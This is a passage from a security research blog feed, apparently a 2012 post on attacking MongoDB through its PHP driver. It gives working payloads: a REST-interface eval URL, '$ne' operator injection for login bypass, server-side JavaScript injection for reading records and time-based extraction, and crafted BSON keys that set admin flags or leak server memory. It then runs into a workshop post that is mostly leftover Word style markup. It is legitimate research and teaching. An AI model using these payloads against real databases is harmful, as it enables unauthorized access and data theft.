&lt;a href="http://vuln-host:28017/admin/$cmd/?filter_eval=function(){%20return%20db.version()%20}&amp;amp;limit=1"&gt;http://vuln-host:28017/admin/$cmd/?filter_eval=function(){ return db.version() }&amp;amp;limit=1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It is well known that it is necessary to have a driver, which will serve as transport, to work with any significant database written in a script language, for instance PHP. &amp;nbsp;I decided to take a close look at these drivers for MongoDB and chose a driver for PHP.&lt;br /&gt;
&lt;br /&gt;
Suppose there is a completely configured server with Apache+PHP+MongoDB and a vulnerable script.&lt;br /&gt;
The main fragments of this script are as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;$q = array("name" =&amp;gt; $_GET['login'], "password" =&amp;gt; $_GET['password']);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$cursor = $collection-&amp;gt;findOne($q);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user's data output. It looks as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;echo 'Name: ' . $cursor['name'];&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;echo 'Password: ' . $cursor['password'];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Suppose the following parameters have been sent to it (True):&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;?login=admin&amp;amp;password=pa77w0rd&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Then the request to the database will look as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used, then the response will return nothing (False).&lt;br /&gt;
&lt;br /&gt;
There are conditions in MongoDB similar to the common where except for few differences in syntax. &amp;nbsp;Thus it is necessary to write the following to output records, which names are not admin, from the table items:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;db.items.find({"name" :{$ne : "admin"}})&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
PHP only requires another array to put it into the other one, which is sent by the function findOne.&lt;br /&gt;
Let's proceed from theory to practice. &amp;nbsp;At first, create a request, which sample will comply with the following conditions: password is not 1 and user is admin.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It will look as follows in PHP:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;$q = array("name" =&amp;gt; "admin", "password" =&amp;gt; array("\$ne" =&amp;gt; "1"));&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It is only needed to declare the variable password as an array for exploitation:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;?login=admin&amp;amp;password[$ne]=1&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Consequently, the admin data is output (True). This problem can be solved by the function is_array() and by bringing input arguments to the string type.&lt;br /&gt;
&lt;br /&gt;
Another vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server.&lt;br /&gt;
&lt;br /&gt;
I'll use code to exemplify it. Assume that INSERT looks as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
An important condition is that the variables $pass and $login are taken directly from the array $_GET and are not filtered (yes, it's an obvious fail, but it's very common):&lt;br /&gt;
&lt;br /&gt;
Send test data:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;?login=user&amp;amp;password=password&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Receive the following data in response:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Your login:user&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Your password:password&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Let's try to exploit the vulnerability, which presupposes that data sent to a parameter is not filtered or verified.&lt;br /&gt;
&lt;br /&gt;
Rewrite loginn variable:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;?login=user&amp;amp;password=1'; var loginn = db.version(); var b='&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The first thing we want is to read other records. A simple request is at help:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;/?login=user&amp;amp;password= '; var loginn = tojson(db.members.find()[0]); var b='2&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Of course, it may happen that there will be no output, then it will be needed to use a time-based technique, which is based on a server response delay depending on a condition (true/false), to receive data. &amp;nbsp;Here is an example:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;?login=user&amp;amp;password='; if (db.version() &amp;gt; "2") { sleep(10000); exit; } var loginn =1; var b='2&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly interested in the fields user and pwd of the above mentioned table. The user column contains a user login, pwd - MD5 string ?%login%:mongo:%password%?, where login and password are the login and hash of the login, key, and user password.&lt;br /&gt;
&lt;br /&gt;
All data is transferred unencrypted and packet hijacking allows obtaining specific data necessary to receive user's name and password. It is needed to hijack nonce, login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: ”%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)”.&lt;br /&gt;
&lt;br /&gt;
Let's move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database.&lt;br /&gt;
&lt;br /&gt;
A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int, string, and etc.). Assume there is a table with two records:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt; db.test.find({})&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
And a database request, which can be injected:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt;db.test.insert({ "name" : "noadmin2", "isadmin" : false})&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Just insert a crafted BSON object to the column name:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt;db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})&lt;br /&gt;
&lt;br /&gt;
0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object value as true instead of false assigned by default. The point is that, dealing with variable types, it is possible to rewrite data rendered automatically with a request.&lt;br /&gt;
&lt;br /&gt;
Now let's see what there is in the table:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt; db.test.find({})&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
False has been successfully changed into true!&lt;br /&gt;
&lt;br /&gt;
Let's consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column name in the insert command, MongoDB makes it possible to insert a record that will contain a Base64 encrypted storage area of the database server.&lt;br /&gt;
Suppose we have a table named dropme and enough privileges to write in it.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt; db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00" : "world"})&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;gt; db.dropme.find()&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{ "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkAOQAsAC...........................ACkALAAgACIAFg==") }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01. When Base64 code is decrypted, we receive bytes of random server storage areas.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/11/attacking-mongodb_26.html</link><author>noreply@blogger.com (Positive Research)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-2738338799290369405</guid><pubDate>Thu, 22 Nov 2012 09:54:00 +0000</pubDate><atom:updated>2012-11-22T03:05:51.736-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">random numbers</category><category domain="http://www.blogger.com/atom/ns#">PHP</category><title>Workshop «Random Numbers. Take Two» at ZeroNights 2012</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;Authors: Arseny
Reutov, Timur Yunusov, Dmitry Nagibin&lt;/span&gt;&lt;br /&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;&amp;nbsp;Slides: &lt;/span&gt;&lt;br /&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;&amp;nbsp;&lt;/span&gt;&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="421" marginheight="0" marginwidth="0" mozallowfullscreen="mozallowfullscreen" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/15294250" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;" webkitallowfullscreen="webkitallowfullscreen" width="512"&gt; &lt;/iframe&gt; &lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;RU&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val="Cambria Math"/&gt;
   &lt;m:brkBin m:val="before"/&gt;
   &lt;m:brkBinSub m:val="&amp;#45;-"/&gt;
   &lt;m:smallFrac m:val="off"/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val="0"/&gt;
   &lt;m:rMargin m:val="0"/&gt;
   &lt;m:defJc m:val="centerGroup"/&gt;
   &lt;m:wrapIndent m:val="1440"/&gt;
   &lt;m:intLim m:val="subSup"/&gt;
   &lt;m:naryLim m:val="undOvr"/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
  DefSemiHidden="true" DefQFormat="false" DefPriority="99"
  LatentStyleCount="267"&gt;
  &lt;w:LsdException Locked="false" Priority="0" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Normal"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="heading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 8"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/&gt;
  &lt;w:LsdException Locked="false" Priority="10" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/&gt;
  &lt;w:LsdException Locked="false" Priority="11" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/&gt;
  &lt;w:LsdException Locked="false" Priority="22" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Strong"/&gt;
  &lt;w:LsdException Locked="false" Priority="20" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="59" SemiHidden="false"
   UnhideWhenUsed="false" Name="Table Grid"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/&gt;
  &lt;w:LsdException Locked="false" Priority="34" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/&gt;
  &lt;w:LsdException Locked="false" Priority="29" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="30" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 5"/&gt;
